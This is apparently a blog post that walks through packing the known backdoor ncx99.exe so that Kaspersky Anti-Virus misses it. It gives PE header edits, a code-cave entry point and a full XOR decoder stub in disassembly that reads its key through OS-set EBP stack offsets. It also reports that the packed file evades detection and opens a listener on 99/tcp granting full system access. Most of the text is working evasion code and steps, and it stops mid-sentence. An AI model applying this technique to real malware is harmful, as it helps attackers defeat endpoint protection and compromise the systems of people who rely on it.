One thing that I haven't had a really good look at, coming from a non-pentesting background, is how to avoid anti-virus scanners; so here is my first serious dive into it.
I suspect to most this isn't anything new to experienced testers. Given the limitations of even “smart” anti-virus products, this type of issue is expected and will not be limited to any one AV vendor.
Nevertheless, I was curious to find out how easy it is to out-smart an intelligent scanner in order to get known malware past the scanner. Short answer; surprisingly easy.
The setup is a windows Vista and Windows 8.1 VM running Kaspersky Anti-Virus 2017 with updates applied. The scanner was set to High (max protection), Heuristic Analysis set to Deep scan, and the iSwift and iChecker Technology enabled.
The malware is the venerable ncx99.exe. Others have tried xor encoders and many other variants to bypass the scanner, without success. So I thought I would take a different approach to find something missing from the emulator used to get malware to unpack and expose itself; finding that glitch in the Matrix.
I won't cover basic XOR encoders here; Google is your friend if you wish to know.
Upon starting ncx99.exe in a debugger we notice the following at the program entry point:
EAX 772AD3B7 kernel32.BaseThreadInitThunk
EDX 00404C00 ncx99-or.<ModuleEntryPoint>
EIP 00404C00 ncx99-or.<ModuleEntryPoint>
The top of the stack looks like this:
0012FF8C 772AD3C9 RETURN to kernel32.772AD3C9
It turns out that the delta between ESP and EBP is always the same (at least on my Vista VM; a little more on that later).
So let’s reference the XOR encoder and base address indirectly based on the designed functionality of the stack rather than computing it in the program. This way the emulator needs to already be aware of this relationship; so is it? (I suspect you already know the answer!)
First, I modify the PE Header in the file to point to a new code cave:
I created a new section with a base address of 0x13000 and size 0x1000. The exe is increased with null bytes by 0x1000 to accommodate this section. I then modify the Program Entry Point from 0x404c00 (in .text) to 0x413000 (in the new section) and ensure that .text is writeable.
Back in the debugger I then create the following stub and save a new copy of the executable with these changes:
00413000 > 60 PUSHAD
00413001 9C PUSHFD
00413002 BB EA7ACE39 MOV EBX,39CE7AEA # XOR key
00413007 53 PUSH EBX
00413008 BB 00104000 MOV EBX,ncx99-ne.00401000 # Base addr for xor
0041300D 53 PUSH EBX0041300E 8B45 D0 MOV EAX,DWORD PTR SS:[EBP-30] # get xor key 00413011 8B55 CC MOV EDX,DWORD PTR SS:[EBP-34] # get base addr
00413014 83EA 04 SUB EDX,4
00413017 83C2 04 ADD EDX,40041301A 3102 XOR DWORD PTR DS:[EDX],EAX # enc/dec dword
0041301C 83C2 05 ADD EDX,5
0041301F 4A DEC EDX
00413020 81FA 6CA74000 CMP EDX,ncx99-ne.0040A76C # loc of last dword
00413026 ^7E F2 JLE SHORT ncx99-ne.0041301A
00413028 9D POPFD
00413029 61 POPAD
0041302A -E9 D11BFFFF JMP ncx99-ne.00404C00 # Execute orig code
0041302F 90 NOP
The key trick is that we are pushing the key and base address on the stack at 00413007 and 0041300D , but then referencing them using EBP at 0041300E and 00413011 (without ever referencing or setting EBP beforehand; we just know it gets set up like this by the OS).
So in the case of Vista, we have 8 bytes followed by 32 bytes from the pushad and 4 bytes from the pushfd; total 44 bytes (0x2C). So adding a dword to the stack gives an offset from EBP of 0x30 and a further dword gives 0x34.
Next, we do the usual break on 00413028 (just after the encoder) and run the program to encode .text. We then save the changes made between 00401000 and 0041301D (we are working on DWORDs). This new file, when run, will decode .text and then run the decoded contents.
Passing through the AV shows no issues. Running it creates a listener on 99/tcp which we can connect to in order to get full system access. Success.
Next, I thought I would test the ability of the AV to figure out known offsets. So rather than the non-explicit connection between ESP and EBP, lets rewrite it to see if the emulator is stack-aware.
I change the EBP offsets to the following; correcting the stub offsets accordingly:0041300E 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00413012 8B1424 MOV EDX,DWORD PTR SS:[ESP]
This time the AV detects that it is ncx99; so it looks like the emulator in the AV is stack aware.
Finally, I decided to test the approach on Windows 8.1. In this case the stack is a bit different on entry, but the delta is still consistent across reboots.
0013FF84 76444198 RETURN to KERNEL32.76444198
0013FF8C 76444170 KERNEL32.BaseThreadInitThunk
A simple adjustment to the relative offsets from EBP yields success:0041300E 8B45 C8 MOV EAX,DWORD PTR SS:[EBP-38] 00413011 8B55 C4 MOV EDX,DWORD PTR SS:[EBP-3C] i.e. a functional malware that is known to the AV product but not detected by